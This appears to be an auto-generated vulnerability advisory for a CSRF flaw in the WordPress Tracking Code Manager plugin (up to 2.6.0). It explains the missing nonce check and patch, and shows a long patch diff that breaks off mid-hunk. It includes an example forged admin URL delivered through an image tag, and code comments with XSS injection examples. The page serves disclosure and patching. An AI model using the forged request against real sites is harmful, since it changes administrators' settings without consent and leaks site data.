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Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-28172: Tracking Code Manager <= 2.6.0 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.6.0
Patched Version 2.7.0
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28172: The Tracking Code Manager plugin for WordPress (versions up to and including 2.6.0) contains a Cross-Site Request Forgery (CSRF) vulnerability in the admin settings page. The flaw resides in the handling of the ‘track’ GET parameter, which toggles the plugin’s tracking setting and triggers an outbound telemetry transmission without verifying a nonce. This allows an unauthenticated attacker to forge a request that, when visited by a logged-in administrator, changes the tracking preference and sends data to a third-party server. The CVSS score is 4.3 (Medium), and the CWE is 352 (Cross-Site Request Forgery).

Root Cause: The vulnerability exists in `includes/admin/settings.php`. The code checks for the presence of the `track` GET parameter and, if set, directly updates the option `tcmp->options->setTrackingEnable($track)` and calls `$tcmp->tracking->sendTracking(true)` without any nonce validation. The function `tcmp_sqs(‘track’, ”)` retrieves the parameter, and the value is cast to an integer. No call to `wp_verify_nonce()` or `check_admin_referer()` is made before the state change. This lack of anti-CSRF token validation is the root cause. The patch adds a nonce check using `$tcmp->check->nonce(‘tcmp_track’)` and wraps the toggle links with `wp_nonce_url()`.

Exploitation: An attacker can craft a malicious link or image tag pointing to a vulnerable site’s admin URL with the `track` parameter set to `1` or `0`, for example: `https://victim-site/wp-admin/admin.php?page=tcmp-settings&track=1`. If a logged-in administrator visits this link (e.g., via a phishing email or a malicious website), the plugin will update the tracking setting and send telemetry data to the attacker-controlled or third-party server. The attacker does not need to know the nonce because none is required. The attack can be delivered via a simple `` tag on any website the admin visits, requiring no user interaction beyond loading the page.

Patch Analysis: The patch introduces a nonce check at the beginning of the `track` parameter handling in `settings.php`. It calls `$tcmp->check->nonce(‘tcmp_track’)` and terminates with `wp_die()` if the nonce is invalid. Additionally, the toggle links generated in the same file are now wrapped with `wp_nonce_url()` to include a valid nonce. This ensures that any request to change the tracking setting must include a valid nonce, which is unique to the user session and cannot be forged by an attacker. The before behavior allowed any request with the `track` parameter to change the setting; after the patch, only requests with a valid nonce are accepted.

Impact: Successful exploitation allows an unauthenticated attacker to change the plugin’s tracking setting (enable or disable) and trigger an outbound telemetry transmission. This could lead to privacy violations (sending site data to a third party), manipulation of analytics, and potential denial of service if tracking is disabled. The vulnerability does not allow remote code execution or privilege escalation, but it compromises the integrity of the plugin’s configuration and may expose sensitive site information through the telemetry payload. The CVSS score reflects a moderate impact due to the limited scope of the action.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tracking-code-manager/includes/admin/editor.php
+++ b/tracking-code-manager/includes/admin/editor.php
@@ -32,7 +32,7 @@
 			?>
 			<div style="clear:both; margin-top: 2px;"></div>
 			<div style="float:left; vertical-align:middle; height:24px; margin-right:5px; margin-top:-5px;">
-				<img src="<?php echo TCMP_PLUGIN_IMAGES_URI; ?>tick.png" />
+				<img src="<?php echo esc_url( TCMP_PLUGIN_IMAGES_URI . 'tick.png' ); ?>" />
 			</div>
 			<div style="float:left; vertical-align:middle; height:24px;">
 				<?php $tcmp->lang->P( 'Notice.ProFeature' . $i, $q ); ?>
@@ -48,7 +48,7 @@
 			$url = TCMP_PAGE_PREMIUM . '?utm_source=free-users&utm_medium=wp-cta&utm_campaign=wp-plugin';
 			?>
 			<a href="<?php echo esc_url( $url ); ?>" target="_blank">
-				<b><?php esc_html( $tcmp->lang->P( 'Notice.ProCTA' ) ); ?></b>
+				<b><?php $tcmp->lang->P( 'Notice.ProCTA' ); ?></b>
 			</a>
 		</div>
 		<div style="height:10px; clear:both;"></div>
--- a/tracking-code-manager/includes/admin/manager.php
+++ b/tracking-code-manager/includes/admin/manager.php
@@ -37,8 +37,8 @@
 	if ( count( $snippets ) > 0 ) { ?>
 		<div style="float:left;">
 			<form method="get" action="" style="margin:5px; float:left;">
-				<input type="hidden" name="page" value="<?php echo TCMP_PLUGIN_SLUG; ?>" />
-				<input type="hidden" name="tab" value="<?php echo TCMP_TAB_EDITOR; ?>" />
+				<input type="hidden" name="page" value="<?php echo esc_attr( TCMP_PLUGIN_SLUG ); ?>" />
+				<input type="hidden" name="tab" value="<?php echo esc_attr( TCMP_TAB_EDITOR ); ?>" />
 				<input type="submit" class="button-primary" value="<?php $tcmp->lang->P( 'Button.Add' ); ?>" />
 			</form>
 		</div>
@@ -74,9 +74,10 @@
 							$text     = 'Yes';
 							$question = 'QuestionActiveOff';
 						}
-						$text = '<span style="font-weight:bold; color:' . $color . '">' . $tcmp->lang->L( $text ) . '</span>';
+						$text       = '<span style="font-weight:bold; color:' . $color . '">' . $tcmp->lang->L( $text ) . '</span>';
+						$toggle_url = TCMP_TAB_MANAGER_URI . '&tcmp_nonce=' . wp_create_nonce( 'tcmp_toggle' ) . '&action=toggle&id=' . $snippet['id'];
 						?>
-						<a onclick="return confirm('<?php echo esc_attr( $tcmp->lang->L( $question ) ); ?>');" href="<?php echo TCMP_TAB_MANAGER_URI; ?>&tcmp_nonce=<?php echo esc_attr( wp_create_nonce( 'tcmp_toggle' ) ); ?>&action=toggle&id=<?php echo esc_attr( $snippet['id'] ); ?>">
+						<a onclick="return confirm('<?php echo esc_js( $tcmp->lang->L( $question ) ); ?>');" href="<?php echo esc_url( $toggle_url ); ?>">
 							<?php echo wp_kses( $text, $tcmp_allowed_html_tags ); ?>
 						</a>
 					</td>
@@ -92,14 +93,14 @@
 						} else {
 							$text = 'Conversion';
 						}
-						esc_html( $tcmp->lang->P( $text ) );
+						$tcmp->lang->P( $text );
 						?>
 					</td>
 					<td style="text-align:center;">
 						<input type="text" style="width:110px; text-align:center;" value='[tcm id="<?php echo esc_html( $snippet['id'] ); ?>"]' readonly="readonly" class="tcmp-select-onfocus" />
 					</td>
 					<td style="text-align:center;">
-						<input type="button" class="button button-secondary" value="<?php $tcmp->lang->P( 'Edit' ); ?>" onclick="location.href='<?php echo TCMP_TAB_EDITOR_URI; ?>&id=<?php echo esc_attr( $snippet['id'] ); ?>';"/>
+						<input type="button" class="button button-secondary" value="<?php $tcmp->lang->P( 'Edit' ); ?>" onclick="location.href='<?php echo esc_url( TCMP_TAB_EDITOR_URI . '&id=' . $snippet['id'] ); ?>';"/>
 						<input type="button" class="button button-secondary" value="<?php $tcmp->lang->P( 'Delete?' ); ?>" onclick="TCMP_btnDeleteClick(<?php echo esc_attr( $snippet['id'] ); ?>)"/>
 					</td>
 				</tr>
--- a/tracking-code-manager/includes/admin/metabox.php
+++ b/tracking-code-manager/includes/admin/metabox.php
@@ -28,7 +28,7 @@
 	<div>
 		<?php $tcmp->lang->P( 'Select existing Tracking Code' ); ?>..
 	</div>
-	<input type="hidden" name="tcmp_all_ids" value="<?php echo implode( ',', $all_ids ); ?>" />
+	<input type="hidden" name="tcmp_all_ids" value="<?php echo esc_attr( implode( ',', $all_ids ) ); ?>" />

 	<div>
 		<?php
@@ -49,7 +49,7 @@
 			?>
 			<input type="checkbox" class="tcmp-checkbox" name="tcmp_ids[]" value="<?php echo esc_attr( $id ); ?>" <?php echo esc_attr( $checked ); ?> <?php echo esc_attr( $disabled ); ?> />
 			<?php echo esc_attr( $snippet['name'] ); ?>
-			<a href="<?php echo TCMP_TAB_EDITOR_URI; ?>&id=<?php echo esc_attr( $id ); ?>" target="_blank"> ››</a>
+			<a href="<?php echo esc_url( TCMP_TAB_EDITOR_URI . '&id=' . $id ); ?>" target="_blank"> ››</a>
 			<br/>
 		<?php } ?>
 	</div>
@@ -135,11 +135,6 @@
 		return;
 	}

-	//in case of custom post type edit_ does not exist
-	//if (!current_user_can('edit_'.$post_type, $post_id)) {
-	//    return;
-	//}
-
 	// If this is an autosave, our form has not been submitted, so we don't want to do anything.
 	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
 		return;
@@ -148,7 +143,15 @@
 		return;
 	}
 	// Verify that the nonce is valid.
-	if ( ! wp_verify_nonce( $_POST['tcmp_meta_box_nonce'], 'tcmp_meta_box' ) ) {
+	if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['tcmp_meta_box_nonce'] ) ), 'tcmp_meta_box' ) ) {
+		return;
+	}
+
+	// Object-level authorization: only proceed if the current user can actually
+	// edit this specific post. The 'edit_post' meta capability is mapped by
+	// WordPress to the correct primitive capability for the post's type, so it
+	// works for custom post types too (see F-03).
+	if ( ! current_user_can( 'edit_post', $post_id ) ) {
 		return;
 	}

--- a/tracking-code-manager/includes/admin/settings.php
+++ b/tracking-code-manager/includes/admin/settings.php
@@ -5,6 +5,11 @@

 	$track = tcmp_sqs( 'track', '' );
 	if ( '' != $track ) {
+		// This GET toggle changes a setting AND triggers an outbound telemetry
+		// transmission, so it must be protected against CSRF with a nonce (F-02).
+		if ( ! $tcmp->check->nonce( 'tcmp_track' ) ) {
+			wp_die( esc_html( $tcmp->lang->L( 'Invalid nonce' ) ) );
+		}
 		$track = intval( $track );
 		$tcmp->options->setTrackingEnable( $track );
 		$tcmp->tracking->sendTracking( true );
@@ -13,9 +18,11 @@
 	$uri = TCMP_TAB_SETTINGS_URI . '&track=';
 	if ( $tcmp->options->isTrackingEnable() ) {
 		$uri .= '0';
+		$uri  = wp_nonce_url( $uri, 'tcmp_track' );
 		$tcmp->options->pushSuccessMessage( 'EnableAllowTrackingNotice', $uri );
 	} else {
 		$uri .= '1';
+		$uri  = wp_nonce_url( $uri, 'tcmp_track' );
 		$tcmp->options->pushErrorMessage( 'DisableAllowTrackingNotice', $uri );
 	}
 	$tcmp->options->writeMessages();
--- a/tracking-code-manager/includes/admin/whatsnew.php
+++ b/tracking-code-manager/includes/admin/whatsnew.php
@@ -23,12 +23,12 @@

 				<p class="tcmp-subheadline">Dynamic Conversion Values</p>
 				<p>Finally, Dynamic Conversion Values are now available for WooCommerce and Easy Digital Download. Now you can track the values of your conversions on <b>Google Adwords</b> and <b>Facebook Ads</b> (with the <b>New Pixel</b> and relative events like "Purchase" and others), and many other channels.</p>
-				<img src="<?php echo TCMP_PLUGIN_ASSETS_URI; ?>landing/tcmp-fb.png" />
+				<img src="<?php echo esc_url( TCMP_PLUGIN_ASSETS_URI . 'landing/tcmp-fb.png' ); ?>" />
 				<br>
 				<br>
 				<div style="float: right;">
-					<a class="button button-secondary" href="<?php echo TCMP_TAB_MANAGER_URI; ?>&hwb=1">CONTINUE USING FREE VERSION</a>
-					<a class="button button-primary" href="<?php echo TCMP_TAB_DOCS_DCV_URI; ?>?utm_campaign=whatsnew" target="_blank">SEE MORE ››</a>
+					<a class="button button-secondary" href="<?php echo esc_url( TCMP_TAB_MANAGER_URI . '&hwb=1' ); ?>">CONTINUE USING FREE VERSION</a>
+					<a class="button button-primary" href="<?php echo esc_url( TCMP_TAB_DOCS_DCV_URI . '?utm_campaign=whatsnew' ); ?>" target="_blank">SEE MORE ››</a>
 				</div>
 			</td>
 			<td valign="top" width="50%" style="border-left: 1px solid #44444E;">
--- a/tracking-code-manager/includes/classes/core/Manager.php
+++ b/tracking-code-manager/includes/classes/core/Manager.php
@@ -21,7 +21,7 @@
 		return $result;
 	}
 	public function change_order() {
-		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'change_order' ) ) {
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'change_order' ) ) {
 			wp_send_json_error( 'Invalid nonce' );
 		}

@@ -350,23 +350,88 @@
 			if ( false != $purchase && intval( $tcmp->options->getLicenseSiteCount() ) > 0 ) {
 				$text = $this->insert_dynamic_conversion_values( $purchase, $text );
 			}
+			// The snippet body is the site owner's own tracking markup (script
+			// tags, pixels), so escaping it here would defeat the entire purpose
+			// of the plugin. esc_js_code() is the output sink: it runs the text
+			// through wp_kses() against the whitelist in
+			// tcmp_free_wp_kses_tags_attrs.php unless the admin has explicitly
+			// opted out via the "Skip Code Sanitization" setting. That whitelist
+			// permits <script> and onload, so this filters the markup — it does
+			// not constrain what an editor-capable admin can execute. See the
+			// contract note on esc_js_code().
+			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Filtered by esc_js_code() via wp_kses(); see the contract note there.
 			echo $this->esc_js_code( $text );
 		}
 	}

-	private function esc_js_code( $text ) {
+	// Filter a snippet for output.
+	//
+	// What this sink does and does not guarantee: the snippet body is the site
+	// owner's own tracking markup, and the whitelist in
+	// tcmp_free_wp_kses_tags_attrs.php deliberately permits <script>, <iframe>
+	// and onload on every tag. A snippet author therefore has arbitrary
+	// JavaScript by design — that is the plugin's purpose, and it is governed by
+	// the capability gate on the editor (see F-09), not by this method. wp_kses()
+	// here is a well-formedness and whitelist pass over admin-authored markup; it
+	// is not a privilege boundary and must not be described as one.
+	//
+	// The entity decode below is scoped to <script> and <style> bodies, and that
+	// scope is load-bearing. wp_kses() entity-encodes '&' wherever it appears as
+	// text, so a saved "a && b" or a GTM "?id=x&l=dataLayer" comes back as
+	// "&". Inside <script>/<style> the browser does NOT decode entities, so
+	// leaving them encoded breaks the snippet; in an attribute value or in HTML
+	// text the browser DOES decode them, so kses's encoding is both correct and
+	// necessary there. Decoding everywhere — as this method used to — undid the
+	// neutralization kses had just applied, letting a quote escape its attribute
+	// and letting pre-encoded "<script>" text become a live tag.
+	public function esc_js_code( $text ) {
 		global $tcmp;
 		global $tcmp_allowed_html_tags;

 		if ( ! $tcmp->options->getSkipCodeSanitization() ) {
 			$text = wp_kses( $text, $tcmp_allowed_html_tags );
 		}
-		$text = str_replace( '<', '<', $text );
-		$text = str_replace( '>', '>', $text );
-		$text = str_replace( '&', '&', $text );
-		$text = str_replace( '"', '"', $text );
-		$text = str_replace( ''', "'", $text );
-		return $text;
+		return $this->decode_script_entities( $text );
+	}
+
+	// Decode HTML entities inside <script> and <style> element bodies only.
+	//
+	// Runs whether or not wp_kses() was applied above: a snippet saved while
+	// sanitization was enabled is stored already-encoded (Options::recursive_wp_kses()
+	// runs kses over the 'code' field on save), so it still needs decoding when
+	// rendered after "Skip Code Sanitization" is switched on.
+	private function decode_script_entities( $text ) {
+		// Cast before strpos(): passing null is deprecated on PHP 8.1+.
+		$text = (string) $text;
+		if ( false === strpos( $text, '&' ) ) {
+			return $text;
+		}
+		$result = preg_replace_callback(
+			'#(<(script|style)b[^>]*>)(.*?)(</2s*>)#is',
+			array( $this, 'decode_script_entities_callback' ),
+			$text
+		);
+		// preg_replace_callback() returns null on a PCRE limit; fall back to the
+		// still-encoded text rather than dropping the snippet. Failing closed
+		// costs a broken snippet, never a reversed sanitization.
+		return is_null( $result ) ? $text : $result;
+	}
+
+	private function decode_script_entities_callback( $matches ) {
+		// strtr() with a map replaces each source sequence exactly once and does
+		// not rescan its own output, so '&lt;' decodes to '<' and cannot
+		// cascade into '<'.
+		$decoded = strtr(
+			$matches[3],
+			array(
+				'&'  => '&',
+				'<'   => '<',
+				'>'   => '>',
+				'"' => '"',
+				''' => "'",
+			)
+		);
+		return $matches[1] . $decoded . $matches[4];
 	}

 	private function insert_dynamic_conversion_values( $purchase, $text ) {
@@ -447,8 +512,7 @@
 						}
 						$v = $a;
 					}
-					$v       = str_replace( "'", '', $v );
-					$v       = str_replace( '"', '', $v );
+					$v       = $this->esc_conversion_value( $v );
 					$buffer .= $v;

 					$previous = $end + strlen( $sep );
@@ -468,6 +532,68 @@
 		return $buffer;
 	}

+	// Context-encode a value substituted into a conversion snippet. Placeholders
+	// such as @@EMAIL@@ / @@FULLNAME@@ / @@PRODUCTS@@ carry customer-derived text
+	// and are almost always dropped into JavaScript string literals inside the
+	// tag, but an admin-authored template may also place them in an HTML
+	// attribute or in HTML text.
+	//
+	// SUPPORTED CONTEXTS — a JavaScript string literal (template literals
+	// included), a *quoted* HTML attribute value, and HTML text. In those three
+	// the encoding below holds:
+	//
+	//   - Quotes are emitted as the JS unicode escapes u0022 / u0027 rather
+	//     than " / '. Inside a JS string these decode back to " and ' so the
+	//     value renders correctly, but NO literal quote ever reaches the HTML
+	//     parser, so the value cannot close (break out of) a quoted attribute.
+	//   - '<', '>' and '/' become u003C / u003E / / so the value cannot open
+	//     a new tag or a </script> break-out (harmless literals in HTML text).
+	//   - The backtick becomes u0060 and '$' becomes u0024. A template
+	//     literal needs both: escaping the backtick alone stops the value
+	//     *terminating* the literal, but '${' opens a substitution without
+	//     needing one, so a value of '${payload}' would still be evaluated.
+	//     u0024 is not a substitution opener — the lexer recognises '${' in
+	//     the raw source, before escape sequences are processed.
+	//   - Backslash and CR/LF are escaped so they cannot alter the JS around them.
+	//
+	// '$' is escaped where whitespace and '=' are not, and the difference is
+	// ubiquity rather than principle: every ordinary name and product list
+	// contains spaces, so encoding those would corrupt the common case, whereas
+	// '$' is rare in the values these placeholders carry — the numeric ones are
+	// number_format()'d or intval()'d before they get here. In a JS string it
+	// costs nothing either, since u0024 decodes straight back to '$'; only the
+	// two HTML contexts render it as the literal text u0024, which is the same
+	// fidelity-for-safety trade already made for quotes and '<'.
+	//
+	// NOT SUPPORTED — an *unquoted* HTML attribute value, e.g.
+	// `<img src=p.gif alt=@@FULLNAME@@>`. Whitespace and '=' are deliberately left
+	// intact (encoding them would corrupt ordinary names and product lists in the
+	// two contexts where they are just text), so in an unquoted attribute a value
+	// like `foo onload=alert(1)` introduces a new attribute rather than staying a
+	// value. Quote placeholder attributes in the snippet template. Note this is a
+	// weaker boundary than it looks even so: write_codes() applies wp_kses() after
+	// substitution, and that whitelist permits onload — so kses does not backstop
+	// this. Still PRO-gated (license count > 0) and therefore unreachable in the
+	// free tier.
+	//
+	// Numeric values are unaffected. strtr() maps each source character exactly
+	// once, avoiding cascading double-escaping. (See F-10.)
+	private function esc_conversion_value( $v ) {
+		$replacements = array(
+			'\'   => '\\',
+			'"'    => '\u0022',
+			"'"    => '\u0027',
+			'`'    => '\u0060',
+			'$'    => '\u0024',
+			'<'    => '\u003C',
+			'>'    => '\u003E',
+			'/'    => '\/',
+			"r"   => '\r',
+			"n"   => '\n',
+		);
+		return strtr( (string) $v, $replacements );
+	}
+
 	//return snippets that match with options
 	public function get_conversion_snippets( $options = null ) {
 		global $tcmp;
--- a/tracking-code-manager/includes/classes/ui/Check.php
+++ b/tracking-code-manager/includes/classes/ui/Check.php
@@ -31,7 +31,7 @@
 	}
 	public function nonce( $action, $nonce = '_wpnonce' ) {
 		if ( isset( $_REQUEST[ $nonce ] ) ) {
-			$nonce = $_REQUEST[ $nonce ];
+			$nonce = sanitize_text_field( wp_unslash( $_REQUEST[ $nonce ] ) );
 		}
 		return wp_verify_nonce( $nonce, $action );
 	}
--- a/tracking-code-manager/includes/classes/ui/Form.php
+++ b/tracking-code-manager/includes/classes/ui/Form.php
@@ -375,7 +375,8 @@
 		$defaults = array();
 		$other    = $this->get_text_args( $args, $defaults );
 		?>
-			<input type="button" class="button tcmp-button" value="<?php $tcmp->lang->P( 'Delete?' ); ?>" onclick="if (confirm('<?php $tcmp->lang->P( 'Question.DeleteQuestion' ); ?>') ) window.location='<?php echo TCMP_TAB_MANAGER_URI; ?>&action=<?php echo esc_attr( $action ); ?>&id=<?php echo esc_attr( $id ); ?>&tcmp_nonce=<?php echo esc_attr( wp_create_nonce( 'tcmp_delete' ) ); ?>';" <?php echo wp_kses( $other, array() ); ?> />
+			<?php $delete_url = TCMP_TAB_MANAGER_URI . '&action=' . rawurlencode( $action ) . '&id=' . rawurlencode( $id ) . '&tcmp_nonce=' . wp_create_nonce( 'tcmp_delete' ); ?>
+			<input type="button" class="button tcmp-button" value="<?php $tcmp->lang->P( 'Delete?' ); ?>" onclick="if (confirm('<?php $tcmp->lang->P( 'Question.DeleteQuestion' ); ?>') ) window.location='<?php echo esc_url( $delete_url ); ?>';" <?php echo wp_kses( $other, array() ); ?> />
 			 
 		<?php
 	}
--- a/tracking-code-manager/includes/classes/ui/Tabs.php
+++ b/tracking-code-manager/includes/classes/ui/Tabs.php
@@ -7,7 +7,11 @@
 	}
 	public function init() {
 		global $tcmp;
-		if ( $tcmp->utils->isAdminUser() ) {
+		// Only register the admin-menu machinery in the admin context; the menu
+		// callback itself still enforces the manage_options capability (and the
+		// multisite unfiltered_html gate). Replaces the misleading always-true
+		// isAdminUser() stub (see F-13).
+		if ( is_admin() ) {
 			add_action( 'admin_menu', array( &$this, 'attach_menu' ) );
 			add_filter( 'plugin_action_links', array( &$this, 'plugin_actions' ), 10, 2 );
 			if ( $tcmp->utils->isPluginPage() ) {
@@ -183,10 +187,14 @@
 						if (!current_user_can('unfiltered_html'))
 						{
 							// Only the Super-Admin role has unfiltered_html by default
-							echo '<div class="tcmp-box-error">';
-							echo '<p>For a multisite only, changing plugin settings requires the unfiltered_html capability.</p>';
-							echo '</div>';
-							die;
+							$refusal = 'For a multisite only, changing plugin settings requires the unfiltered_html capability.';
+							echo '<div class="tcmp-box-error"><p>' . esc_html( $refusal ) . '</p></div>';
+							// wp_die() rather than a bare die(): it ends the request with a
+							// themed, filterable error page instead of truncating the admin
+							// document mid-render, and it matches how change_order() already
+							// refuses. It is also interceptable, which is what makes this
+							// branch reachable from the test suite (see TabPageTest).
+							wp_die( esc_html( $refusal ) );
 						}
 					}
 					switch ( $tab ) {
@@ -318,7 +326,7 @@
 					<?php
 				} else {
 					?>
-					<a style="float:left; margin-left:10px; <?php echo esc_attr( $style ); ?>" class="nav-tab <?php echo esc_attr( $active ); ?>" target="<?php echo esc_attr( $target ); ?>" href="?page=<?php echo TCMP_PLUGIN_SLUG; ?>&tab=<?php echo esc_attr( $k ); ?>"><?php echo esc_attr( $v ); ?></a>
+					<a style="float:left; margin-left:10px; <?php echo esc_attr( $style ); ?>" class="nav-tab <?php echo esc_attr( $active ); ?>" target="<?php echo esc_attr( $target ); ?>" href="<?php echo esc_url( '?page=' . TCMP_PLUGIN_SLUG . '&tab=' . $k ); ?>"><?php echo esc_attr( $v ); ?></a>
 					<?php
 				}
 			}
--- a/tracking-code-manager/includes/classes/utils/Logger.php
+++ b/tracking-code-manager/includes/classes/utils/Logger.php
@@ -25,7 +25,9 @@

 	public function fatal( $message, $v1 = null, $v2 = null, $v3 = null, $v4 = null, $v5 = null, $v6 = null ) {
 		$what = $this->write( '[FATAL]', $message, $v1, $v2, $v3, $v4, $v5, $v6 );
-		die( $what );
+		// The message can interpolate snippet names and other stored values, so
+		// escape before it reaches the browser.
+		die( esc_html( $what ) );
 	}
 	public function debug( $message, $v1 = null, $v2 = null, $v3 = null, $v4 = null, $v5 = null, $v6 = null ) {
 		$this->write( '[DEBUG]', $message, $v1, $v2, $v3, $v4, $v5, $v6 );
@@ -72,7 +74,15 @@
 		}

 		$hasErrors = false;
-		$filename  = TCMP_PLUGIN_DIR . 'logs/' . $this->name . '_' . date( 'Ym' ) . '.txt';
+		$dir       = $this->get_log_dir();
+		if ( '' == $dir ) {
+			return $message;
+		}
+		// The filename carries a site-specific, unguessable suffix so the log is
+		// not fetchable by guessing the URL, even on servers where the deny
+		// rules below are not honoured (e.g. nginx ignores .htaccess). See F-07.
+		$name     = sanitize_file_name( $this->name );
+		$filename = $dir . $name . '_' . gmdate( 'Ym' ) . '_' . $this->log_token() . '.txt';
 		if ( ! $handle = fopen( $filename, 'a' ) ) {
 			$hasErrors = true;
 		}
@@ -86,4 +96,60 @@
 		}
 		return $message;
 	}
+
+	// Resolve (and lazily create + protect) the directory logs are written to.
+	// Logs live under wp-content/uploads/ rather than inside the plugin folder,
+	// and the directory is hardened with deny rules so it is not web-readable
+	// (see F-07).
+	private function get_log_dir() {
+		if ( ! function_exists( 'wp_upload_dir' ) ) {
+			return '';
+		}
+		$upload = wp_upload_dir();
+		if ( ! is_array( $upload ) || empty( $upload['basedir'] ) ) {
+			return '';
+		}
+		$dir = trailingslashit( $upload['basedir'] ) . 'tcm-logs/';
+		if ( ! is_dir( $dir ) && function_exists( 'wp_mkdir_p' ) ) {
+			wp_mkdir_p( $dir );
+		}
+		if ( ! is_dir( $dir ) ) {
+			return '';
+		}
+		$this->protect_dir( $dir );
+		return $dir;
+	}
+
+	// Drop the standard "deny all" guard files into the log directory so the
+	// logs cannot be downloaded over HTTP on either Apache or IIS, plus a blank
+	// index.php to prevent directory listing.
+	private function protect_dir( $dir ) {
+		$guards = array(
+			'index.php'  => "<?phpn// Silence is golden.n",
+			'.htaccess'  => "Order Allow,DenynDeny from alln",
+			'web.config' => "<?xml version="1.0" encoding="UTF-8"?>n<configuration>nt<system.webServer>ntt<authorization>nttt<deny users="*" />ntt</authorization>nt</system.webServer>n</configuration>n",
+		);
+		foreach ( $guards as $file => $contents ) {
+			$path = $dir . $file;
+			if ( ! file_exists( $path ) ) {
+				@file_put_contents( $path, $contents );
+			}
+		}
+	}
+
+	// Short, deterministic, site-specific token used only to obfuscate the log
+	// filename. Derived from WordPress salts when available; this is filename
+	// obfuscation, not a security-sensitive digest.
+	private function log_token() {
+		$seed = 'tcm-log';
+		if ( defined( 'AUTH_SALT' ) && '' != AUTH_SALT ) {
+			$seed .= AUTH_SALT;
+		} elseif ( defined( 'ABSPATH' ) ) {
+			$seed .= ABSPATH;
+		}
+		if ( function_exists( 'wp_hash' ) ) {
+			return substr( wp_hash( $seed ), 0, 12 );
+		}
+		return substr( md5( $seed ), 0, 12 );
+	}
 }
--- a/tracking-code-manager/includes/classes/utils/MobileDetect.php
+++ b/tracking-code-manager/includes/classes/utils/MobileDetect.php
@@ -1020,7 +1020,10 @@
 	public function __call( $name, $arguments ) {
 		// make sure the name starts with 'is', otherwise
 		if ( substr( $name, 0, 2 ) !== 'is' ) {
-			throw new BadMethodCallException( "No such method exists: $name" );
+			// Deviation from upstream Mobile_Detect: the message interpolates the
+			// called method name, so it is escaped in case the exception text is
+			// ever surfaced to a browser.
+			throw new BadMethodCallException( esc_html( "No such method exists: $name" ) );
 		}

 		$this->setDetectionType( self::DETECTION_TYPE_MOBILE );
--- a/tracking-code-manager/includes/classes/utils/Options.php
+++ b/tracking-code-manager/includes/classes/utils/Options.php
@@ -363,12 +363,17 @@
 		$type   = sanitize_text_field( $type );
 		$result = false;
 		$array  = $this->getRequest( $type . 'Messages', array() );
-		// These messages are built by the plugin and have been already sanitized.
-		// Trying to sanitize them again will break plugin functionality since some of the messages contain html.
 		if ( is_array( $array ) && count( $array ) > 0 ) {
 			$result = true;
+			// Escape at the sink so safety no longer depends on every caller
+			// pre-escaping its message arguments (see F-04). wp_kses_post keeps
+			// the intentional markup (links, styled spans) some notices embed
+			// while neutralising anything dangerous. It now wraps the wpautop()
+			// result rather than each message, so the escaping is applied to
+			// everything that is actually echoed.
+			$html = wpautop( implode( "n", $array ) );
 			?>
-			<div class="tcmp-box-<?php echo strtolower( $type ); ?>"><?php echo wpautop( implode( "n", $array ) ); ?></div>
+			<div class="tcmp-box-<?php echo esc_attr( strtolower( $type ) ); ?>"><?php echo wp_kses_post( $html ); ?></div>
 			<?php
 		}
 		if ( $clean ) {
--- a/tracking-code-manager/includes/classes/utils/Plugin.php
+++ b/tracking-code-manager/includes/classes/utils/Plugin.php
@@ -211,7 +211,10 @@
 	}

 	function getActivePlugins( $ids ) {
-		return $this->getActivePlugins( $ids, true );
+		// Delegates to getPlugins() with $onlyActive = true. This used to call
+		// itself, which recursed until the process ran out of stack; it had no
+		// callers, so the fault stayed latent.
+		return $this->getPlugins( $ids, true );
 	}
 	function getPlugins( $ids, $onlyActive = true ) {
 		$array = array();
--- a/tracking-code-manager/includes/classes/utils/Tracking.php
+++ b/tracking-code-manager/includes/classes/utils/Tracking.php
@@ -80,11 +80,13 @@
 		global $tcmp;

 		//retrieve blog info
-		$result['wp_url']         = home_url();
-		$result['wp_version']     = get_bloginfo( 'version' );
-		$result['wp_language']    = get_bloginfo( 'language' );
-		$result['wp_wpurl']       = get_bloginfo( 'wpurl' );
-		$result['wp_admin_email'] = get_bloginfo( 'admin_email' );
+		$result['wp_url']      = home_url();
+		$result['wp_version']  = get_bloginfo( 'version' );
+		$result['wp_language'] = get_bloginfo( 'language' );
+		$result['wp_wpurl']    = get_bloginfo( 'wpurl' );
+		// The administrator email address is intentionally NOT transmitted: it is
+		// personal data that is not needed for the usage statistics this payload
+		// collects. (See F-08 — data minimisation.)

 		$result['plugins'] = $this->getPluginData();
 		$result['theme']   = $this->getThemeData();
--- a/tracking-code-manager/includes/classes/utils/Utils.php
+++ b/tracking-code-manager/includes/classes/utils/Utils.php
@@ -161,8 +161,17 @@
 	}

 	public function twitter( $name ) {
+		// Self-contained X (formerly Twitter) follow link. The old markup relied on
+		// Twitter's platform.twitter.com/widgets.js to turn a `.twitter-follow-button`
+		// anchor into a logo button; that widget was retired after the X rebrand, so it
+		// rendered as bare text with no logo. Inline the X mark as SVG instead — no
+		// external script, works offline, and shows the correct current brand.
+		// Styling lives in the .tcmp-x-follow rules in assets/css/style.css.
 		?>
-		<a href="https://twitter.com/<?php echo esc_attr( $name ); ?>" class="twitter-follow-button" data-show-count="false" data-dnt="true">Follow @<?php echo esc_attr( $name ); ?></a>
+		<a href="https://x.com/<?php echo esc_attr( $name ); ?>" target="_blank" rel="noopener noreferrer" class="tcmp-x-follow">
+			<svg viewBox="0 0 24 24" width="16" height="16" fill="currentColor" aria-hidden="true" focusable="false"><path d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"/></svg>
+			<span>Follow @<?php echo esc_html( $name ); ?></span>
+		</a>
 		<?php
 	}

@@ -372,9 +381,9 @@
 		global $tcmp_allowed_html_tags;
 		$result = $default;
 		if ( isset( $_POST[ $name ] ) ) {
